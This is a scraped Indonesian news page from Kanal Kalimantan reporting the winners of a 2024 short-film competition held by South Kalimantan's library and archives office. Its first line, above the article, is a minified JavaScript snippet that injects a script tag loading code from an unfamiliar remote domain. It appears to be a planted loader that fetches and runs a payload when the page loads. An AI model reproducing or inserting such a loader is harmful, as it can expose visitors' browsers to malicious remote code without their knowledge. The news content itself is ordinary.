(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

“Dialektika di Ujung Joran” Dapur Budaya HSS Juara Kompetisi Film Pendek Dispersip Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Kompetisi film pendek yang diselenggarakan Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) tahun 2024 sukses menghasilkan karya-karya terbaik.

Setelah melalui proses penilaian ketat, 17 karya film pendek yang dikirim para peserta diumumkan untuk beberapa pemenang, Kamis (30/5/2024) siang.

Sebelum itu terlebih dahulu diumumkan 8 peserta yang masuk dalam nominasi karya terbaik kompetisi film pendek.

Baca juga: Hadiri Harlah Sanggar Ar Rumi, Nurgita Tiyas Soroti Pentingnya Partisipasi Politik Mahasiswa

Mereka antara lain, SSA Project, Mantita Studio, Simpul Temu Production, Manbaul Ulum, Dapur Budaya HSS, Konstkine Production, Panggueng Senie Buedaya, dan Rezer Production.

Film pendek karya peserta dari Dapur Budaya HSS (Kabupaten Hulu Sungai Selatan) berjudul “Dialektika di Ujung Joran” dinobatkan sebagai juara pertama film pendek yang bertema literasi dan perpustakaan.

Juara kedua diraih PSB Tala dengan film berjudul “Pelita dari Panggung Seni Budaya”, dan juara ketiga karya Rezer Production dengan judul film “Aku dan Perpustakaan”.

Berikutnya juara harapan pertama diraih film berjudul “Rabu Kamis” karya Mantita Studio, juara harapan kedua film berjudul “Calistung” karya Kostkine Production, dan juara harapan ketiga diraih SSA Projek dengan judul “Buta Aksara_.

Baca juga: Satu Wasaka Award 2024, Tim Juri Sambangi Kabupaten Banjar

Acara penyerahan penghargaan dan hadiah kepada para pemenang lomba berlangsung di gedung teater Dispersip Provinsi Kalsel, Jalan Ahmad Yani Kilometer 6, Banjarmasin.

Perwakilan tim Dapur Budaya HSS yang berhasil meraih juara pertama, Rendra mengaku film “Dialektika di Ujung Joran” digarap menyesuaikan dengan kehidupan kondisi sosial masyarakat Kalsel.

Dimana dalam pihaknya menunjukan kebiasaan masyarakat Banjar, seperti ngobrol di warung kopi dan memancing ikan. Bahasa dan dialek yang digunakan pada film berbahasa dan dialek khas masyarakat Kandangan atau Banjar Hulu di Kabupaten Hulu Sungai Selatan.

Baca juga: Jembatan Perempatan Jalan Trikora Guntung Manggis Mulai Dikerjakan

“Kami mengangkat isu lokal, seperti paunjunan, dan warung kopi yang jadi pusat informasi di kampung,” ujarnya.

Kepala Disperisip Kalsel, Dra Nurliani Dardie MAP mengatakan, penyelenggaraan kompetisi film pendek merupakan kali kedua dilaksanakan Dispersip Kalsel.

Tujuan pelaksanaan kata Nurliani, yaitu untuk promosi perpustakaan dan gemar membaca. Disamping juga untuk meningkatkan kreatifitas anak muda Kalsel pada bidang perfilman.

Baca juga: Gelar FKP, Usaha Balai Besar Labkesmas Banjarbaru Tingkatan Pelayanan

“Audio visual sangat marak, jadi kita fasilitasi dengan menyelenggarakan lomba ini,” kata Kadisperisip Kalsel.

Dalam perlombaan, Dispersip Kalsel kata Nurliani, telah memilih dewan juri profesional dan berkompeten. Sehingga catatan-catatan yang diberikan dewan juri kepada para peserta hendaknya menjadi pembelajaran dalam pembuatan karya film pendek selanjutnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

6 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

10 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 hari ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

1 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

1 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago